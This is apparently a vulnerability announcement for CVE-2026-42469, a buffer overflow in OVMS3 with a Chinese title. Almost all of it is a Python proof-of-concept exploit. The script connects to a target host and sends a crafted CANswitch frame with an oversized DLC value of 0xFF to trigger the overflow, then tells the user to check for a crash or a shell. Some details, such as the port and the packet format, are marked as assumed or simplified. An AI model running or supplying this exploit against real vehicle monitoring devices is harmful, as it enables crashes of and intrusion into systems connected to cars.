CVE-2026-42469: OVMS3缓冲区溢出漏洞

import socket import struct # Target IP and Port (Example configuration) target_ip = "192.168.1.100" target_port = 3000 # Assumed port for OVMS connection # Payload construction for CANswitch frame # The vulnerability lies in the DLC (Data Length Code) validation. # Sending a frame with an oversized DLC can trigger the buffer overflow. def create_malicious_canswitch_frame(): # Header format (simplified) # DLC is set to an abnormally high value (e.g., 0xFF) to bypass checks and cause overflow dlc_value = 0xFF frame_id = 0x123 data = b"\x41" * 8 # Arbitrary data # Constructing the packet structure # Format: ID (4 bytes) + DLC (1 byte) + Data (variable) header = struct.pack("<I", frame_id) packet = header + bytes([dlc_value]) + data return packet def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") payload = create_malicious_canswitch_frame() s.send(payload) print("[+] Malicious payload sent. Check for crash or shell.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()